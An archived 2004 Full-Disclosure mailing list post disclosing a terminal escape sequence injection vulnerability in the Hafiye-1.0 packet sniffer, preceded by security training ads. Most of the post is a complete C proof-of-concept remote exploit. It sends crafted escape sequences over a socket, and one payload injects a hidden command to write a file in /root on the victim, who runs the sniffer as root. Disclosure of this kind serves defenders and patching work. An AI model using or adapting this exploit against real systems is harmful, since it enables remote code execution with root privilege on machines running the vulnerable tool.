Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]

[Full-Disclosure] Hafiye-1.0 Terminal Escape Sequence Injection Vulnerab

Subject: [Full-Disclosure] Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
Date: Mon, 23 Aug 2004 21:32:15 +0300

+-------[ Software ]--------------+

Hafiye [1.0] "POSIX-compliant, customizable TCP/IP packet sniffer."

+-------[      Tested Versions     ]--------------+

Hafiye[1.0]
Tested on:Linux(Hafiye compiled from tarball)
          FreeBSD 4.7 (Installed from CD)

+-------[      Vulnerability       ]--------------+

Packet Payload Terminal Escape Sequence Injection Vulnerability.

Results: DoS/Remote Root Comprimise

+-------[      Description         ]--------------+

Hafiye[1.0] is a POSIX-compliant, customizable TCP/IP packet sniffer.
It runs with uid0 privilege.

Hafiye-1.0 doesnt filter the payload when printing it to the terminal.
A malicious attacker can send packets with escape sequence payloads
to exploit this vulnerability.

If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution  the victim must press Enter after program exit.

+-------[         Contact          ]--------------+

http://deicide.siyahsapka.org

        deicide@siyahsapka.org


+-------[ Proof Of Concept Exploit ]--------------+


/* Remote Exploit for Hafiye-1.0 ** Terminal Escape Sequence Injection Vulnerability ** Written by Serkan Akpolat ** Homepage: http://deicide.siyahsapka.org ** E-mail: deicide@siyahsapka.org ** Greets: Virulent, gorny and all other netricians */ #include <stdio.h> #include <sys/types.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netdb.h> #include <stdlib.h>

typedef struct _target {
    char *host;
    u_short port;
    unsigned int sequence;
    unsigned int cnt;
} target;

char *esc_sequence[]= {"Escape Sequences",
                       "\x1b""]2;Insecure?""\x07\x0a",
                       "\x07\x07\x07\x07\x07\x07",
                       "\x1b""]2;;echo Owned > /root/Owned.txt"
                       "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                       "Abnormal Termination""\x1b"
                       "[8m;""\x0a"};


char use[] ="\t[ -h host ] [ -p port ] [ -e esc-seq-n ] [ -l number ]\n" "\t Escape Sequences :\n" "\t1-Change TitleBar Text to \"Insecure?\"\n" "\t2-Ring The Bell\n" "\t3-Hidden Prompt to Create Owned.txt in /root\n" "\tExample: ./exp -h 192.168.0.3 -p 80 -e 1 -l 1\n";

void usage()
{
    printf("%s",use);
    exit(1);
}

int connect_to_host(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
        herror("Error:");
       exit(1);
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)
        exit(1);

    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
        exit(1);

    printf("[+] Connected to %s\n", host);
    return sock;
}

int main(int argc, char **argv)
{
    int i;
    int sock = 0;
    char buf[256]="\0";
    target target;
    memset(&target,0,sizeof(target));
    while ((i = getopt(argc, argv, "h:p:e:l:")) != -1) {
        switch (i) {
            case 'h':
                target.host = optarg;
                break;
            case 'p':
                target.port = (u_short)atoi(optarg);
                break;
            case 'e':
                target.sequence = atoi(optarg);
                if(target.sequence < 1 || target.sequence > 3) {
                    usage();
                }
                break;
            case 'l':
                target.cnt=atoi(optarg);
                if(target.cnt<1) {
                    target.cnt=1;
                }
                break;
            case ':':
            case '?':
            default:
                usage();
                exit(1);
        }
    }
    if (optind != argc  || !target.host || !target.port ||
       !target.sequence || !target.cnt) {
        usage();
    }

    sock = connect_to_host(target.host, target.port);
    strncpy(buf,esc_sequence[target.sequence],sizeof(buf)-1);


printf("[+] Sending Escape Sequences\n"); do { if (send(sock, buf, strlen(buf), 0) < 0) { printf("Socket Error\n"); exit(1); } target.cnt--; } while(target.cnt > 0); close(sock); return 0; }

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

<Prev in Thread] Current Thread [Next in Thread>